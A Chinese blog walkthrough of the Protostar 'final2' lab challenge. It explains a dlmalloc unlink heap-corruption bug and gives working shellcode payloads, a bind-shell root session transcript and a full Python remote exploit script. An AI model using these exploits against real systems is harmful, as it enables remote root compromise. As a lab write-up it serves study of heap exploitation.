中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Protostar final2

發布時間:2020-09-27 23:04:02 來源:網絡 閱讀:453 作者:terrying 欄目:安全技術

Core files will be in /tmp.<div Droid Sans', sans-serif; font-size: 14px; line-height: 20px; background-color: rgb(18, 20, 23);">This level is at /opt/protostar/bin/final2<h3 Droid Sans', sans-serif; font-weight: normal; line-height: 40px; color: rgb(255, 255, 255); text-rendering: optimizelegibility; font-size: 31.5px; background-color: rgb(18, 20, 23);">Source code

#include "../common/common.c"
#include "../common/malloc.c"

#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993

#define REQSZ 128

void check_path(char *buf)
{
char *start;
char *p;
int l;

/*
* Work out old software bug
*/

p = rindex(buf, '/');
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
if(start) {
while(*start != '/') start--;
memmove(start, p, l);
printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
"yes" : "no", start - buf);
}
}
}

int get_requests(int fd)
{
char *buf;
char *destroylist[256];
int dll;
int i;

dll = 0;
while(1) {
if(dll >= 255) break;

buf = calloc(REQSZ, 1);
if(read(fd, buf, REQSZ) != REQSZ) break;

if(strncmp(buf, "FSRD", 4) != 0) break;

check_path(buf + 4);

dll++;
}

for(i = 0; i < dll; i++) {
write(fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]);
}
}

int main(int argc, char **argv, char **envp)
{
int fd;
char *username;

/* Run the process as a daemon */
background_process(NAME, UID, GID);

/* Wait for socket activity and return */
fd = serve_forever(PORT);

/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);

get_requests(fd);

}

Final2花了我不少時間,因為之前沒有接觸過“堆腐爛”這么高深的技術,最后找了本《緩沖區溢出***——檢測、剖析與預防》補習才勉強知道dlmalloc是個什么貨色。現簡單講下基本的東東:
在內存中堆的位置如下圖:Protostar final2
堆內存可通過malloc()類函數分配,由free()類函數釋放,程序的堆內存是由堆管理器分配的。由malloc()分配的內存塊是有邊界標識(Boundary tag)的。這些位置包含的信息是內存中這個塊之前和之后放被放置的兩個數據塊的大小
Protostar final2
當使用free()釋放數據塊時會調用unlink()宏:
Protostar final2
實際上執行的操作就是:
*(P->fd+12)=P->bk;
*(P->bk+8)=P->fd
數據塊后部指針中的地址可以被寫到前部指針加12所指向的位置。如果***者可以覆蓋這兩個指針并調用unlink()的話,那么就能用任何東西覆蓋內存的任何位置!!!

啰嗦了一大堆現開始進入正題。
通過分析題目可得在查找“/”時沒有進行邊界檢查,而且從p開始的空余部分被復制到新的位置,另外程序規定處理每個字符串長度是128字節。我們需要利用這些來偽造出一個數據塊
user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ 'A'*103 + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff'+'B'*4+'C'*4" | nc 127.0.0.1 2993
通過查看調試文件可以得到:
(gdb) i r edx
edx 0x43434343 1128481603
(gdb) i r eax
eax 0x42424242 1111638594
有點像heap3是不?
再看看“A"的位置在哪里:
(gdb) x/50x 0x0804e090
0x804e090: 0x0804d410 0x0804e098 0x41414141 0x41414141
0x804e0a0: 0x0804d410 0x41414141 0x41414141 0x41414141
0x804e0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0f0: 0x41414141 0x41414141 0x41414141 0x2f414141

這里我們選擇覆蓋write()的地址,write()的地址是:
user@protostar:/opt/protostar/bin$ objdump -R ./final2 | grep write
0804d41c R_386_JUMP_SLOT write
0804d468 R_386_JUMP_SLOT fwrite

現需要將A的內容變成shellcode,將A的地址覆蓋到write()的位置上去,然后就能夠執行shellcode了。
因此生成的payload應該是這樣的
[FSRD+'A'*123+/]+[FSRD+ROOT+NOP+shellcode+<span Helvetica Neue Light', HelveticaNeue-Light, 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px;">'\x10\xd4\x04\x08' + '\x98\xe0\x04\x08']
如下:
user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ '\x90'*44 + '\x31\xc0\x50\x68\x6e\x2f\x6e\x63\x68\x2f\x2f\x62\x69\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31\xd2\xcd\x80' + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff' + '\x10\xd4\x04\x08'+'\x98\xe0\x04\x08'" | nc 127.0.0.1 2993
Process OK
遠程連接測試:
D:\>nc 192.168.0.71 6666
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exit
OK!
同樣,寫一份遠程EXP,Python腳本如下:
#!/usr/bin/env python

from socket import *
from struct import *
from optparse import OptionParser

def exploit(host, port):

# linux/x86/shell_bind_tcp - 78 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependChrootBreak=false, AppendExit=false,
# InitialAutoRunScript=, AutoRunScript=
shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
"\x0b\xcd\x80"

# Open the connection
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))

req_size = 128
HDR = 'FSRD'
NOP = '\x90'
free_payload = '/' + '\xf8\xff\xff\xff' + '\xfc\xff\xff\xff'
free_payload += '\x10\xd4\x04\x08' + '\x98\xe0\x04\x08'

first_req = HDR + 'A'* (req_size - len(HDR) - 1) + '/'
second_req = HDR + 'ROOT'
second_req += NOP * (req_size - len(HDR) - 4 - len(shellcode) - len(free_payload))
second_req += shellcode
second_req += free_payload

s.send(first_req+second_req)

s.close

print("[*] Exploit successfull! Now launch: nc " + str(host) + " 4444")

if __name__ == "__main__":
parser = OptionParser("usage: %prog [options]")
parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1", type="string", help="Target to exploit")
parser.add_option("-p", "--port", dest="portnum", default=2993, type="int", help="Target port")

(options, args) = parser.parse_args()

exploit(options.hostname, options.portnum)



向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

西乌珠穆沁旗| 海宁市| 封丘县| 曲周县| 嵩明县| 通海县| 长宁县| 师宗县| 房产| 双峰县| 景谷| 贡山| 渭源县| 克拉玛依市| 通州市| 信阳市| 西充县| 轮台县| 临沧市| 南溪县| 长子县| 阿拉善右旗| 灵宝市| 阜新市| 宣武区| 晋州市| 建水县| 陈巴尔虎旗| 河南省| 明星| 铜鼓县| 西城区| 利川市| 农安县| 景德镇市| 沁阳市| 东辽县| 潍坊市| 静宁县| 运城市| 宽城|